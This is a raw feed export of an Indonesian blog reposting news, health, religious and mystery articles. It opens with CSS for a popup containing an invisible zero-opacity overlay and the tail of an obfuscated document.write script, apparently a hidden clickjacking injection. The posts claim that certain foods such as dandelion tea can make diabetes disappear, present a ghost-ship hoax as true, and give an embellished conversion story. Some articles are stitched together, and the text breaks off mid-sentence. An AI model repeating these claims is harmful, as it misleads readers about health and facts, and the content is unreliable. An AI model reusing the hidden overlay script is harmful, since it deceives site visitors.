#fbox-background,#fbox-close{width:100%;height:100%}#fbox-display,#fbox-display-mobile{background:#eaeaea;width:300px;height:250px}#anu,#fbox-button,#fbox-display{position:absolute}#fbox-background{display:none;background:rgba(0,0,0,.8);position:fixed;top:0;left:0;z-index:99999}#fbox-display{border:5px solid #828282;top:32%;left:37%;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}#fbox-display-mobile{border:5px solid #828282;position:relative;top:20%;overflow:auto;margin:auto}#fbox-button{float:right;cursor:pointer;right:0;top:0}#fbox-button:before{content:"X";padding:5px 8px;background:#828282;color:red;font-weight:700;font-size:15px;font-family:Tahoma}#fbox-link,#fbox-link a,#fbox-link a.visited,#fbox-link a:hover{color:#aaa;font-size:9px;text-decoration:none;text-align:center;padding:5px}#anu{width:100px;height:50px;opacity:0;filter:alpha(opacity=50);top:-1%;left:0;z-index:100} ","write"];document[_0xdd05[1]](unescape(_0xdd05[0]))

tag:blogger.com,1999:blog-13103320146311705462016-03-25T13:16:35.317-07:00My Blogger SoeroboyoYunitanoreply@blogger.comBlogger461500tag:blogger.com,1999:blog-1310332014631170546.post-61571988932875191432016-03-25T11:05:00.001-07:002016-03-25T11:05:47.663-07:00Fitur Baru Facebook Beritahu Akun Palsu<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-vBKJ-vafj8k/VvV8_NLS63I/AAAAAAAAAMg/wgJdjt9oWxwHX4N9nWbFu5Olj1CDEvOqA/s1600/dde9d7cd-b4a6-48c9-95bc-ba4e8aad4965.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="https://1.bp.blogspot.com/-vBKJ-vafj8k/VvV8_NLS63I/AAAAAAAAAMg/wgJdjt9oWxwHX4N9nWbFu5Olj1CDEvOqA/s640/dde9d7cd-b4a6-48c9-95bc-ba4e8aad4965.jpg" width="640" /></a></div><br /><br />My Blogger - Akun palsu berpura-pura menjadi seseorang, banyak ditemukan di media sosial, tak terkecuali Facebook. Raksasa jejaring sosial itu kini punya cara mencegahnya. Dikutip dari Tech Times, Kamis (24/3/2016), Facebook kabarnya sedang menjajal fitur baru yang akan memberitahukan pengguna jika ada seseorang yang meniru akun mereka. Fitur ini mendeteksi akun mencurigakan berdasarkan data kemiripan nama dan foto profil. Cara kerjanya juga melewati proses review secara manual oleh tim khusus di Facebook. Ketika terdeteksi, Facebook akan secara otomatis mengirimkan peringatan kepada pengguna yang potensial ditiru oleh akun tersebut. Pengguna yang menerima notifikasi peringatan, kemudian harus mengonfirmasi apakah akun tersebut adalah orang lain yang mirip dengannya. Facebook sudah menguji fitur ini pada November tahun lalu, dan sudah digunakan secara global sekitar 75%. Fitur ini didesain untuk menciptakan rasa aman, terutama bagi para pengguna wanita yang menjadi sasaran online bullying. Facebook akan memperluas ketersediaan fitur tersebut hingga akhirnya tersedia bagi seluruh penggunanya secara global...<br /><br />Sumber By : www.detik.comYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-64138357066319364982016-03-25T10:40:00.001-07:002016-03-25T10:40:45.123-07:00Ajaib, 3 makanan ini sanggup basmi penderitaan karena Diabetes<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-mtQMbCaXRKg/VvV2eXt9cHI/AAAAAAAAAMQ/q03SGXZwMn45hO5kYZjuCDPDBK-E7vLoQ/s1600/ajaib-3-makanan-ini-sanggup-basmi-penderitaan-karena-diabetes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://2.bp.blogspot.com/-mtQMbCaXRKg/VvV2eXt9cHI/AAAAAAAAAMQ/q03SGXZwMn45hO5kYZjuCDPDBK-E7vLoQ/s640/ajaib-3-makanan-ini-sanggup-basmi-penderitaan-karena-diabetes.jpg" width="640" /></a></div><br />My Blogger - Tahukah kamu bahwa tubuh manusia mengubah gula menjadi energi dengan cara memanfaatkan kerja hormon insulin yang diproduksi oleh pankreas. Well, saat makanan yang kamu konsumsi termasuk wajar, maka kerja pankreas tidak akan terganggu. Namun jika makanan yang kamu konsumsi tinggi akan gula dan berlebihan, maka akan terjadi masalah pada pankreasmu dan membuat penyakit diabetes muncul. Penyakit diabetes sendiri seringkali menjadi mimpi buruk dunia kesehatan. Sebab diabetes seakan menjadi jalan pembuka bagi munculnya beberapa penyakit mengerikan lainnya. Namun, jika kamu merupakan seorang penderita diabetes, jangan putus asa. Sebab ada beberapa makanan yang bisa membantu meringankan penderitaan karena penyakit ini.<br /><br />Paprika - Paprika yang memiliki rasa manis alami ternyata merupakan makanan yang efektif untuk membantu melancarkan peredaran darah dan mampu membersihkan tubuh dari racun. Secara tidak langsung, mengonsumsi paprika sangat bermanfaat untuk menurunkan kandungan gula dalam darah hingga meningkatkan kesehatan jantung.<br /><br />Dandelion - Dandelion banyak diolah menjadi teh. Well, saat kamu rutin minum teh dandelion maka penyakit diabetesmu bisa menghilang secara perlahan. Sebab dandelion bermanfaat untuk meningkatkan fungsi hati yang bisa mendukung metabolisme glukosa dalam darah.<br /><br />Pare - Pare Walaupun memiliki rasa yang pahit, pare memiliki manfaat manis untuk mengontrol kadar gula darah dalam tubuhmu. Selain ditumis, kamu juga bisa mengukus pare demi mendapatkan olahan yang sehat. Meski kamu menderita diabetes, bukan berarti kamu bisa cuek dengan kesehatan tubuhmu. Justru kamu harus memperhatikan makanan yang kamu konsumsi agar kesehatanmu tetap terjaga. Dan tidak ada salahnya pula jika kamu memperbanyak konsumsi makanan di atas serta konsumsi buah dan sayuran kaya serat...Semoga artikel ini bermanfaat buat pembaca Blog ini...<br /><br />Sumber By : www.merdeka.comYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-14335219913936262502016-03-25T10:25:00.001-07:002016-03-25T10:25:18.142-07:00Kisah Nyata Penggali Kubur Lihat Azab Orang Meninggal Dunia<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-tKWefciF28M/VvVzFBHznRI/AAAAAAAAAMI/cS_4eeD7O_EZjFcmclYH4eADn0ZuDirgg/s1600/664xauto-kisah-nyata-penggali-kubur-lihat-azab-orang-yang-meninggal-160322f.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://4.bp.blogspot.com/-tKWefciF28M/VvVzFBHznRI/AAAAAAAAAMI/cS_4eeD7O_EZjFcmclYH4eADn0ZuDirgg/s640/664xauto-kisah-nyata-penggali-kubur-lihat-azab-orang-yang-meninggal-160322f.jpg" width="640" /></a></div><br />My Blogger - Terdapat seorang pemuda yang kerjanya menggali kubur dan mencuri kain kafan untuk dijual. Pada suatu hari, pemuda itu berjumpa dengan seorang ahli ibadah untuk menyatakan kekesalannya dan keinginan untuk bertaubat kepada Allah SWT. Dia berkata; "Sepanjang aku menggali kubur untuk mencuri kain kafan, aku telah melihat 7 perkara ganjil yang menimpa mayat-mayat tersebut". "Lantaran aku merasa sangat insaf atas perbuatanku yang sangat keji itu dan ingin sekali bertaubat," kata dia menyesal. Yang pertama, ia melihat mayat yang pada siang harinya menghadap kiblat. Tetapi apabila menggali semula kuburnya pada waktu malam, wajah si mayat berubah membelakangkan kiblat. "Mengapa terjadi begitu, wahai tuan guru?" tanya pemuda itu. "Wahai anak muda, mereka itulah golongan yang telah mensyirikkan Allah SWT sewaktu hidupnya. Lantaran Allah SWT menghinakan mereka dengan memalingkan wajah mereka dari mengadap kiblat, bagi membedakan mereka daripada golongan muslim yang lain," jawab ahli ibadah tersebut. Sambung pemuda itu lagi; "Golongan yang kedua, aku lihat wajah mereka sangat elok semasa mereka dimasukkan ke dalam liang lahat. Tatkala malam hari ketika aku menggali kubur mereka, aku melihat wajah mereka telah berubah menjadi buruk. Mengapa begitu halnya, wahai tuan guru?” Jawab ahli ibadah tersebut; "Wahai anak muda, mereka itulah golongan yang meremehkan dan meninggalkan salat sewaktu hidupnya. Sesungguhnya salat merupakan amalan yang pertama sekali dihisab. Jika salatnya sempurna, maka sempurnalah amalan-amalan kita yang lain." Pemuda itu menyambung lagi: "Wahai tuan guru, golongan yang ketiga yang aku lihat, pada waktu siang mayatnya kelihatan seperti biasa saja. Apabila aku menggali kuburnya pada waktu malam, ku lihat perutnya terlalu gelembung, keluar pula ulat yang terlalu banyak daripada perutnya itu". Jawab ahli ibadah tersebut "Mereka itulah golongan yang gemar memakan harta yang haram, wahai anak muda," balas ahli ibadah itu lagi.Golongan keempat, melihat mayat yang jasadnya bertukar menjadi batu bulat yang hitam warnanya. Mengapa terjadi begitu? "Wahai pemuda, itulah golongan manusia yang durhaka kepada kedua ibu bapanya sewaktu hayatnya. Sesungguhnya Allah SWT sama sekali tidak ridha kepada manusia yang menderhakai ibu bapaknya". Ia juga melihat mayat yang kukunya amat panjang, hingga membelit-belit seluruh tubuhnya dan keluar segala isi dari tubuh badannya. Mereka itulah golongan yang gemar memutuskan silaturrahim. Semasa hidupnya mereka suka memulakan pertengkaran dan tidak bertegur sapa lebih daripada 3 hari. Bukankah Rasulullah SAW pernah bersabda, bahwa sesiapa yang tidak bertegur sapa melebihi 3 hari bukanlah termasuk dalam golongan umatnya. Kemudian golongan yang keenam yang dilihat, sewaktu siangnya lahatnya kering kerontang. Tatkala malam ketika aku menggali semula kubur itu, mayat tersebut terapung dan lahatnya dipenuhi air hitam yang amat busuk baunya. "Wahai pemuda, itulah golongan yang memakan harta riba sewaktu hayatnya,” jawab ahli ibadah tadi. Dan golongan terakhir yang dilihat adalah mayatnya sentiasa tersenyum dan berseri-seri pula wajahnya. "Mengapa demikian halnya wahai tuan guru?” tanya pemuda itu lagi. Mereka itulah golongan manusia yang berilmu. Dan mereka beramal pula dengan ilmunya sewaktu hayat mereka. Inilah golongan yang beroleh keridhoan dan kemuliaan di sisi Allah SWT baik sewaktu hayatnya mahupun sesudah matinya. Ingatlah, sesungguhnya daripada Allah kita datang dan kepada-Nya jualah kita akan kembali. Kita akan dipertanggungjawabkan atas setiap amal yang kita lakukan, hatta walaupun amalan sebesar zarah. Wallahu a'lam (Dan Allah Lebih Tahu atau Maha Tahu)...<br /><br />Sumber By : www.dream.co.idYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-4772498936410282772016-03-24T14:05:00.000-07:002016-03-24T14:05:21.355-07:007 Tips Mudah Memperpanjang Umur Bagi Para Pria<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-S3j7XCbnmCw/VvRV-qyKyMI/AAAAAAAAAL4/xTuPvaoSLlANzqjixsnY6L1PzUv92-f4Q/s1600/043395600_1448168048-maxresdefault.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://1.bp.blogspot.com/-S3j7XCbnmCw/VvRV-qyKyMI/AAAAAAAAAL4/xTuPvaoSLlANzqjixsnY6L1PzUv92-f4Q/s640/043395600_1448168048-maxresdefault.jpg" width="640" /></a></div><br />Hidup dan mati merupakan kuasa penuh Sang Pencipta. Kitapun hanya menjalani hidup seperti yang sudah digariskan oleh takdir. Meskipun begitu, ada beberapa faktor yang mampu mempercepat kematian manusia itu sendiri. Fakta yang terlihat nyata yaitu berubahnya gaya hidup manusia modern yang berdampak serius dalam memperpendek umurnya. Khusus bagi pria, ada beberapa tips mudah untuk memperpanjang umur yang dimilikinya. Lalu, apa saja tipsnya....???.</div><div style="text-align: justify;"><br /><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Saya (penulis) merupakan salah satu anak yang tidak pernah merasakan kasih sayang seorang ayah sejak masih dalam masa balita. Menurut ibu saya, bapak saya merupakan perokok berat dan sering batuk-batuk di akhir usianya. Meskipun begitu, saya tidak tahu persis penyebab meninggalnya bapak saya. Saya juga mengamati, banyak sekali para istri yang sudah terlebih dahulu ditinggalkan oleh suaminya karena meninggal dunia terlebih dahulu. Faktanya, banyak sekali gaya hidup pria yang jauh dari standar kesehatan.<br /><blockquote class="tr_bq">Berikut ini tips mudah memperpanjang umur bagi para pria : </blockquote></div><div style="text-align: justify;"><ol><li>Hindari Bergadang Setiap Malamnya. Bergadang merupakan salah satu kebiasaan yang dilakukan oleh para pria. Jika anda terpaksa harus bergadang, maka sebaiknya mengurangi waktu bergadang tiap harinya. Faktanya, angin malam sangat tidak baik bagi kesehatan tubuh manusia.</li><li>Stop Merokok. Menghisap asap rokok merupakan salah satu gaya hidup bagi sebagian pria. Entah alasan apa yang melatar belakanginya. Berbagai dampak buruk merokok sebenarnya sudah mereka ketahui. Di kemasan rokok pun sudah terpampang tulisan, "Merokok Membunuhmu".</li><li>Mulai Berolahraga. Kesibukan pria remaja atau yang sudah menikah dalam memburu materi (uang) sudah tidak diragukan lagi. Alasannya mungkin dapat mentraktir pacarnya serta sebagai tulang punggung keluarga. Olahraga mulai tidak penting lagi dan menjadi kebutuhan yang bisa di tunda-tunda.</li><li>Berhenti Minum-Minuman Keras. Berbagai minuman yang mengandung alkohol tinggi juga menjadi salah satu minuman favorit bagi sebagian pria. Hingga merekapun rela mabuk-mabukkan hingga larut malam. Faktanya., kandungan alkohol baik itu rendah maupun tinggi dalam sebuah minuman juga dapat memperburuk kesehatan tubuh anda.</li><li>Perhatikan Keamanan Dalam Berkendara. Tidak memakai helm maupun masker sering kita temui pada pria remaja maupun dewasa. Terjadinya tabrakan atau tabrakan tunggal juga dapat membahayakan organ otak sedangkan angin kencang yang terhirup ke hidung dapat membahayakan organ paru-paru dan menyesakkan dada.</li><li>Stop Melakukan Hal-Hal Ekstrim. Para pria sangat identik dengan berpetualang dan melakukan hal-hal yang ekstrim yang cenderung membahayakan jiwanya. Pada dasarnya, semua kegiatan itu sah-sah saja dilakukan. Asalkan memenuhi standar keamanan yang sudah di tetapkan oleh pemandu atau ahlinya.</li><li>Mulai Minum Air Putih. Kebutuhan cairan yang dibutuhkan oleh tubuh khususnya air putih bagi para pria seringkali terabaikan. Mereka lebih memilih minum beberapa gelas kopi yang bertujuan meningkatkan stamina mereka. Membatasi meminum kopi dan mulai mencukupi kebutuhan air putih 8 gelas sehari harusnya menjadi salah satu prioritas utama.</li></ol>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Menjadi lebih jantan bagi para pria dapat dilakukan dengan berbagai cara yang masuk akal dan tidak harus membahayakan kesehatan tubuhnya. Semoga artikel atau tips yang berjudul tips mudah&nbsp; memperpanjang usia bagi para pria dapat menginspirasi para pria di seluruh dunia khususnya di negara kita ini.<br /><ol></ol></div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-73340356435988097692016-03-23T11:46:00.000-07:002016-03-23T11:46:06.297-07:00Misteri Kematian Firaun Terkuak<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-9ZFNEIqo4NE/VvLkVfB_6YI/AAAAAAAAALo/5-DQ23fm5PgBRirvqOFtU8x7keqtGRLmg/s1600/664xauto-misteri-kematian-firaun-terkuak-160322v.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://4.bp.blogspot.com/-9ZFNEIqo4NE/VvLkVfB_6YI/AAAAAAAAALo/5-DQ23fm5PgBRirvqOFtU8x7keqtGRLmg/s640/664xauto-misteri-kematian-firaun-terkuak-160322v.jpg" width="640" /></a></div><br />Ilmuwan berhasil mengungkap penyebab kematian Firaun Ramses III. Ilmuwan menemukan bekas serangan bertubi-tubi pada mumi Ramses III. Sehingga diyakini tewas akibat plot pmbunuhan. Dikutip Dream dari laman Daily Mail, Selasa 22 Maret 2016, hasil scan computed tomography (CT) terhadap mumi menunjukkan bahwa Ramses III memiliki bekas-bekas luka akibat serangan bertubi-tubi dari berbagai arah. Pada tenggorokan Ramses III juga ditemukan lubang. Sementara, jempol kaki yang berukuran lumayan besar putus. Ilmuwan yakin luka-luka itu sengaja disembunyikan oleh pembalsam mumi Ramses III. Menurut para ilmuwan, luka-luka tersebut merupakan bukti bahwa Ramses III tewas akibat plot pembunuhan. Ramses III tewas setelah tenggorokannya tersayat pisau tajam, memutuskan batang tenggorok dan kerongkongannya. Luka itu membunuh Ramses III dengan cepat. Ilmuwan juga yakin jempol kaki Ramses III putus akibat tebasan kapak. Menurut ahli radiologi Universitas Cairo, Mesir, Sahar Saleem, keyakinan itu didapatkan setelah melihat kerusakan tulang pada jempol kaki Ramses III. Berdasarkan persebaran bekas luka pada mumi, para ilmuwan yakin Ramses III telah diserang dari berbagai penjuru. Dikeroyok. Dari depan dihajar dengan kapak atau pedang, sementara dari belakang diserang dengan pisau atau belati. Dan luka-luka inilah yang berusaha disembunyikan oleh tukang balsam saat merawat jasad Ramses III. Usaha untuk meneliti mumi Ramses III pada 1800-an tak menemukan jejak ini, sebab mumi itu terlapisi lapisan perban tebal. Ramses III memerintah Mesir pada periode 1186 hingga 1155 sebelum Masehi. Dokumen kuno mengungkapkan salah satu istrinya, Tiye, telah memerintahkan pembantaian Ramses III agar putranya, Pentawere, naik tahta. Namun pada akhirnya, konspirasi ini terbongkar. Tiye, Pentawere, beserta para pendukungnya diadili dan kemudian dieksekusi. Kekuasaan Ramses III digantikan oleh Amun-her-khepeshef, yang bergelar Ramesses IV.<br /><br />Para ilmuwan mendapatkan temuan mengejutkan saat melakukan pemindaian di piramida yang menjadi makam Firaun Tutankhamun. Hasil pemindaian itu menunjukkan adanya dua ruangan yang tak tersentuh selama 3.000 tahun. Menurut Menteri Kepurbakalaan Mesir, Mamdouh el-Damaty, ruangan misterius ini diduga berisi material logam ataupun organik. Mamadouh menambahkan, ruangan misterius ini akan dipindai kembali pada akhir bulan ini. Sebab, para peneliti perlu mendapatkan gambaran yang lebih jelas lagi. Penemuan ini setidaknya bisa menjadi petunjuk baru bagi masa-masa kuno di Mesir yang penuh “gejolak”. Dan sejumlah peneliti berspekulasi ruangan itu menjadi makam Ratu Nefertiti, istri dari ayah Firaun Tutankhamun. Sementara itu, Mamadouh juga memperkirakan bahwa ruangan tersebut merupakan makam anggota keluarga dari Firaun Tutankhamun. Meski demikian, dia tidak berspekulasi apakah ruangan itu makam dari Nefertiti.<br /><br />Maurice Bucaille lahir, besar dan sepenuhnya menimba ilmu di Perancis. Setelah menamatkan pendidikan menengah atas, ia belajar di Fakultas Kedokteran, Universitas Prancis. Kemudian menjadi dokter bedah terkenal dan terpintar yang pernah dimiliki Perancis modern. Namun, cerita keislamannya mampu mengubah hidupnya dan belakangan menginspirasi banyak orang. Siapa sang profesor yang sangat dikagumi ini, Apa saja hasil karya sang profesor dan bagaimana cara dia menemukan Islam dan dunia keilmuan Perancis terkenal sebagai negara yang tertarik dengan arkeologi dan budaya. Di akhir 80an, Perancis meminta Mesir untuk mengirimkan mumi Firaun untuk dilakukan serangkaian eksperimen dan penelitian. Akhirnya mumi penguasa Mesir terkenal tersebut akhirnya tiba di Perancis. Mumi itu kemudian dipindahkan ke ruangan khusus di Monument Center. Para arkeolog, ahli bedah dan ahli anatomi mulai melakukan studi tentang mumi ini dalam upaya untuk menyelidiki misteri Firaun. Dokter bedah senior dan ilmuwan yang bertanggung jawab atas studi tentang mumi Firaun adalah Profesor Maurice Bucaille. Sementara proses restorasi mumi berjalan, Maurice Bucaille sibuk dengan pikirannya. Dia mencoba untuk menemukan bagaimana Firaun ini meninggal. Saat larut malam, ia menemukan penyebabnya. Sisa-sisa garam yang terjebak dalam tubuh mumi itu adalah bukti bahwa ia meninggal karena tenggelam dan mayatnya segera diangkat dari laut. Terlihat jelas juga bahwa para pendeta Mesir kuno buru-buru mengawetkan tubuh Firaun tersebut. Tapi Maurice bingung dengan sebuah pertanyaan, bagaimana tubuh ini--dengan mengesampingkan tubuh mumi lainnya dari Mesir kuno-- tetap utuh hingga sekarang meskipun tubuhnya pernah tenggelam di laut. Maurice sibuk memikirkan hal tersebut ketika seorang koleganya mengatakan tidak usah terlalu dipikirkan karena dalam Islam disebutkan bahwa Firaun ini memang tenggelam. Pada awalnya, dia sangat tidak yakin dan menolak pernyataan tersebut. Dia mengatakan penemuan seperti itu hanya bisa diketahui melalui peralatan komputer canggih dan modern. Maurice bertambah tercengang setelah koleganya yang lain mengatakan bahwa Alquran, kitab suci yang dipercaya muslim, menceritakan kisah tenggelamnya Firaun dan mengatakan tubuh tersebut akan tetap utuh meskipun ia telah tenggelam. Maurice bertambah terkejut dan terus bertanya-tanya, dari mana kitab suci umat Islam ini mendapatkan data, sementara mumi tidak ditemukan sampai 1898. Selain itu Alquran juga baru diturunkan kepada umat Islam selama lebih dari 1400 tahun setelah peristiwa tenggelamnya Firaun. Mengingat juga sampai beberapa dekade lalu seluruh umat manusia termasuk muslim tidak tahu bahwa orang Mesir kuno mengawetkan firaun mereka? Maurice Bucaille terjaga sepanjang malam menatap tubuh Firaun, berpikir mendalam soal kitab Alquran yang secara eksplisit mengatakan bahwa tubuh ini akan utuh setelah tenggelam. Bisakah dipercaya nabi Muhammad SAW tahu tentang ini lebih dari 1.000 tahun yang lalu ketika saya baru saja mengetahu hal itu?" pikir Maurice. Pikiran Maurice malam itu dipenuhi berbagai pertanyaan dan keheranan tentang kitab suci umat Islam. Mumi tersebut akhirnya dikembalikan ke Mesir.<br /><br />Tapi, karena ia sudah tahu tentang kisah Firaun versi muslim, ia segera berkemas dan melakukan perjalanan ke Arab Saudi. Kebetulan saat itu di Arab Saudi diadakan konferensi medis yang dihadiri banyak ahli anatomi muslim. Di sana, Maurice memberitahu mereka tentang penemuannya, yaitu bahwa tubuh Firaun itu tetap utuh bahkan setelah ia tenggelam. Salah satu peserta konferensi membuka Alquran dan membacakan surat Yunus ayat 92 yang menceritakan kisah bagaimana tubuh Firaun diangkat dari dasar laut dan atas izin Allah, tubuh itu akan utuh agar menjadi bahan renungan bagi orang-orang yang berpikir sesudahnya. Dalam kegembiraannya setelah dibacakan ayat tersebut, Maurice berdiri di hadapan para peserta konferensi berkata, 'Aku telah masuk Islam dan percaya pada Alquran ini'. Saat kembali ke Perancis, Maurice Bucaille menghabiskan 10 tahun melakukan studi tentang kesesuaian fakta-fakta ilmiah saat ini dengan yang disebutkan dalam Alquran. Dia berusaha meyakinkan dirinya bahwa Alquran tidak pernah bertentangan dengan satupun fakta ilmiah. Dia kemudian menulis buku tentang Alquran yang menghebohkan seluruh negara-negara Barat, dengan judul, "The Bible, The Qur’an and Science, The Holy Scriptures Examined In The Light Of Modern Knowledge." Buku tersebut sangat laris dan bahkan ratusan ribu eksemplar telah diterjemahkan dari bahasa Perancis ke bahasa Arab, Inggris, Indonesia, Persia, Turki dan Jerman. Bahkan tersebar ke hampir semua toko buku di seluruh dunia. "Sisi ilmiah dari Alquran telah mengejutkan saya sejak awal, karena pikiran saya belum pernah melihat begitu banyak kajian ilmu pengetahuan yang disuguhkan secara akurat. Itu semacam cermin bagi ilmu pengetahuan yang sudah ditulis dalam buku-buku ilmiah selama ini padahal ilmu tersebut sudah ada lebih dari 13 abad yang lalu," sepenggal catatan kata pengantar Maurice dalam bukunya.<br /><br />Sumber By : www.dream.co.idYunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-44679784998892009652016-03-23T11:29:00.000-07:002016-03-23T11:29:09.453-07:00Hilang 90 Tahun di Segitiga Bermuda, Kapal Ini Muncul Kembali<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-sxQwo-cOe8s/VvLgC1MT00I/AAAAAAAAALc/x9KzGuFCocAQm-10SrJgwDinqYk8GRUMg/s1600/664xauto-hilang-90-tahun-di-segitiga-bermuda-kapal-ini-muncul-kembali-160229m.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://3.bp.blogspot.com/-sxQwo-cOe8s/VvLgC1MT00I/AAAAAAAAALc/x9KzGuFCocAQm-10SrJgwDinqYk8GRUMg/s640/664xauto-hilang-90-tahun-di-segitiga-bermuda-kapal-ini-muncul-kembali-160229m.jpg" width="640" /></a></div><br />Sebuah kapal yang diduga hilang di Segitiga Bermuda, tiba-tiba muncul kembali secara misterius 90 tahun kemudian. Banyak yang meragukan keaslian berita ini tapi satu hal pasti setelah lenyap di Segitiga Bermuda selama 90 tahun, kapal itu muncul kembali tanpa membawa satu pun awak kapal! Meski terdengar seperti kisah petualangan, namun kejadian itu kabarnya benar-benar terjadi. Seperti diketahui, setiap kapal atau pesawat terbang melintas Segitiga Bermuda, akan berakhir dengan misteri. Kapal dan pesawat terbang tersebut seolah-olah hilang tanpa jejak. Banyak yang menduga ini karena ada tarikan gravitasi yang sangat tidak stabil di atas Segitiga Bermuda. Nah, salah satu kapal yang lenyap di Segitiga Bermuda kemudian muncul kembali 90 tahun kemudian adalah SS Cotopaxi. Kapal ini dilaporkan hilang dekat Segitiga Bermuda pada tanggal 1 Desember 1925. Diyakini Cotopaxi hilang karena tertelan wormhole atau lubang tanpa dasar yang dipercaya ada di Segitiga Bermuda. Cotopaxi ditemukan oleh penjaga pantai Kuba saat mereka melihatnya pertama kali pada 16 Mei tahun lalu. Kapal itu tiba-tiba muncul di dekat zona militer. Setelah gagal melakukan kontak dengan Cotopaxi, penjaga pantai Kuba yakin kapal itu sudah tidak berawak alias menjadi kapal hantu. Mereka kemudian mengirim tiga kapal patroli untuk memeriksa lebih lanjut. Setelah menggeledah Cotopaxi, penjaga pantai Kuba menemukan buku harian kapten kapal. Dari buku harian itulah terungkap bahwa kapal itu memang terkait dengan Clinchfield Navigation Authority, pemilik SS Cotopaxi. Seorang ahli bernama Rodolfo Salvador Cruz yakin, buku harian itu memang asli dan dia berharap buku kapten kapal itu bisa membantu mengungkap apa yang terjadi selama Cotopaxi hilang 90 tahun.tiga lubang aneh yang muncul di Semenanjung Yamal dan Taymyr telah mengegerkan ilmuwan dunia. Lubang-lubang itu telah memberikan teka-teki kepada para bagaimana mereka muncul. Namun para ilmuwan punya penjelasan ilmiah untuk menjelaskan terbentuknya ketiga lubang itu. Sejumlah spekulasi muncul. Sebagian kalangan menyebut kemungkinan adanya tumbukan meteorit ke bumi sehingga terbentuk ketiga lubang itu. Kalangan lain bahkan menduga adanya alien dari luar angkasa yang tinggal di lubang itu. Yang lain lagi memprediksi lubang itu terjadi karena ada roket yaang jatuh di lokasi dekat dengan kutub utara itu.Namun pada akhirnya para ilmuan mulai sepakat jika lubang itu terbentuk karena ledakan gas yang terdapat di bawah lapisan tanah. Gas-gas itu meledak karena adanya perubahan panas yang tidak biasa, baik dari permukaan maupun di bawah lapisan tanah."Pemanasan dari permukaan karena kondisi iklim panas yang tidak biasa, dan dari bawah karena jalur patahan geologi, menyebabkan pelepasan hydrat yang besar," kata ilmuwan dari Trofimuk Institute of Petroleum-Gas Geology and Geophysics di Novosibirsk,Gas hidrat adalah campuran antara gas hidrokarbon dengan liquid water yang menjadi bentuk solid menyerupai salju basah. Hidrat mengandung molekul gas, terutama metan. Gas ini berada di wilayah permafrost (lapisan es), seperti Siberia utara, tetapi juga ada di bawah beberapa lautan. "Unsur utama –dan ini adalah teori kerja kami untuk menjelaskan lubang Yamal– adalah pelepasan gas hidrat," kata ilmuwan Vladimir Potapov. "Ini ternyata ada gas hidrat, baik di dalam lapisan tanah yang sangat dalam dan di bawah permukaan tanah yang dangkal.Meski demikian, para ilmuwan ini menduga ada faktor lain yang juga menjadi pemicu terjadinya ledakan yang meyebabkan terbentuknya lubang-lubang aneh itu. "Mungkin ada faktor lain, yang bisa memicu ledakan udara. Masing-masing faktor bersatu dan gas meledak, menyebabkan munculnya lubang," tambah Potapov. Dia menekankan bahwa lubang-lubang itu terletak di persimpangan dua patahan tektonik. Semenanjung Yamal merupakan tempat yang cukup aman dari aktivitas kegempaan, namun daerah lubang itu sesungguhnya memiliki kehidupan tektonik yang sangat aktif. "Itu berarti bahwa suhu di sana lebih tinggi dari biasanya," kata Potapov. Ditambah lagi, cuaca musim panas yang hangat baru-baru ini telah mencairkan gas yang terperangkap di dalam lapisan tepat di bawah permukaan. Para ilmuwan menyebut penjelasan tentang pembentukan lubang-lubang di Siberia ini kemungkinan juga bisa menjelaskan hilangnya kapal dan pesawat yang hilang secara misterius di kawasan Segitiga Bermuda. Area yang dianggap angker itu membentang dariwilayah perariran luar Inggris di Samudra Atlantik Utara ke pantai Florida, hingga Puerto Riko. Ilmuwan Rusia, Igor Yeltsov yang juga menjabat sebagai wakil kepala Institut Trofimuk, mengatakan, "Ada sebuah versi bahwa Segitiga Bermuda merupakan tempat reaksi gas hidrat. Gas yang mulai aktif terurai dengan metana yang berubah dari es menjadi gas. Proses ini terjadi dengan cara seperti longsoran, seperti sebuah reaksi nuklir, yang menghasilkan gas dalam jumlah besar. "Itu membuat laut panas dan kapal tenggelam di perairan yang bercampur dengan gas dalam jumlah besar," tutur Yeltsov. "Hal yang sama mengarah ke udara yang semakin penuh dengan metana, yang membuat suasana sangat bergolak dan menyebabkan kecelakaan pesawat," tambah Yeltsov. Namun dalam laporan yang ditulis dalam jurnal Science in Siberia menyebut kawah-kawah itu “relatif jauh dari Segitiga Bermuda”. Para ilmuwan melakukan penelitian secara rinci pada lubang lubang itu, termasuk mengambil sampel hingga kedalaman 300 meter. Para ilmuwan memeriksa latar belakang magnet dan radiasi di lubang itu, dan mereka tidak menemukan kelainan di sana. Potapov mengatakan, teori mereka akan dikaji lebih lanjut. "Kita semua harus terus menunjukkan hipotesis dan menguji mereka. Lubang itu sendiri sangat menarik dari sudut pandang ilmiah," kata dia. Dia menambahkan, ada kebutuhan untuk mengidentifikasi daerah-daerah lain di dunia, di mana ledakan gas bawah tanah tersebut dapat terjadi. "Kita juga harus memperhatikan daerah di 